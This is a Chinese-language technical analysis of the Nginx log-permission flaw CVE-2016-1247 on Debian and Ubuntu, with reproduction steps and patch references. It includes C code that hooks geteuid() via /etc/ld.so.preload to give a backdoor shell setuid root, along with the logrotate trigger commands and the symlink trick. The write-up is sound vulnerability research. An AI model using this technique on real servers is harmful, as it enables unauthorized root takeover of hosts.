Author: xd0ol1 (知道創宇404實驗室)
data:2016-11-17
0x00 漏洞概述
1.漏洞簡介
11月15日,國外安全研究員Dawid Golunski公開了一個新的Nginx漏洞(CVE-2016-1247),能夠影響基于Debian系列的發行版,Nginx作為目前主流的一個多用途服務器,因而其危害還是比較嚴重的,官方對此漏洞已經進行了修復。
2.漏洞影響
Nginx服務在創建log目錄時使用了不安全的權限設置,可造成本地權限提升,惡意攻擊者能夠借此實現從nginx/web的用戶權限www-data到root用戶權限的提升。
3.影響版本
下述版本之前均存在此漏洞:
- Debian: Nginx1.6.2-5+deb8u3
- Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
- Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
- Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
- Gentoo: Nginx1.10.2-r3
0x01 漏洞復現
1.環境搭建
測試環境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3
PoC詳見如下鏈接,給出的nginxed-root.sh腳本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
2.漏洞觸發
惡意者可通過軟鏈接任意文件來替換日志文件,從而實現提權以獲取服務器的root權限,執行PoC后結果如下圖:
提示要等待,但我們可以通過如下命令進行觸發:
/usr/sbin/logrotate -vf /etc/logrotate.d/nginx
提權后的結果如下:
3.漏洞利用分析
一般來說,如果想要修改函數的功能,最直接的就是對其源碼進行更改,但很多情況下我們是無法達成此目標的,這時就可以借助一些hook操作來改變程序的流程,從而實現對函數的修改。在Linux系統下,我們可以通過編譯一個含相同函數定義的so文件并借助/etc/ld.so.preload文件來完成此操作,系統的loader代碼中會檢查是否存在/etc/ld.so.preload文件,如果存在那么就會加載其中列出的所有so文件,它能夠實現與LD_PRELOAD環境變量相同的功能且限制更少,以此來調用我們定義的函數而非原函數。此方法適用于用戶空間的so文件劫持,類似于Windows下的DLL劫持技術。更進一步,如果我們將此技巧與含有suid的文件結合起來,那么就可以很自然的實現提權操作了,所給的PoC就是利用的這個技巧。
關于hook操作,簡單來看就是如下的一個執行流程:
在PoC利用中與此相關的C代碼如下所示,如果將其編譯成so文件并把路徑寫入到/etc/ld.so.preload文件的話,那么可以實現對geteuid()函數的hook,在hook調用中就能執行我們想要的惡意操作。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/*hook原geteuid()函數*/
uid_t geteuid(void) {
//定義函數指針變量
static uid_t (*old_geteuid)();
//返回原geteuid()函數的指針
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
//在調用原geteuid()函數的同時執行想要的惡意操作
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
我們可以將上述代碼編譯后來做個簡單的測試,結果如下圖,觀察nginxrootsh文件前后屬性的變化以及/etc/ld.so.preload文件存在與否可以判斷我們的惡意操作是否執行了,很顯然hook是成功的,和PoC相同這里也是通過sudo來觸發hook調用。
接下來我們考慮下如何將內容寫進/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx在配置log文件時采用的不安全權限設置使得我們能很容易的實現此目的,從而實現www-data到root的權限提升。為了看的更清楚,我們首先將目錄/var/log/nginx/下的文件全部刪除,再重啟下nginx服務,最后執行如下兩條命令:
$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
此時得到的結果如下圖所示:

可以看到error.log文件的屬性為:
-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log
將其軟鏈接到/etc/ld.so.preload文件就可以了,這里為了簡單測試,我們將其軟鏈接到/etc/xxxxxxxxxx,同樣需要上述那兩條觸發命令。從上圖中我們看到了成功結果,此時www-data用戶是可以對/etc/xxxxxxxxxx文件進行寫操作的。
至此,我們將這些點結合起來就可以實現對此漏洞的利用了。
0x02 修復方案
Nginx官方已經修復,用戶應盡快更新至最新版本,可參考以下官方鏈接進行修復。
Debian 系統
https://www.debian.org/security/2016/dsa-3701
https://security-tracker.debian.org/tracker/CVE-2016-1247
Ubuntu 系統
https://www.ubuntu.com/usn/usn-3114-1/
0x03 參考
- https://www.seebug.org/vuldb/ssvid-92538
- https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
- https://www.debian.org/security/2016/dsa-3701
- https://www.ubuntu.com/usn/usn-3114-1/
- https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
- http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
- https://security.gentoo.org/glsa/201701-22
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/122/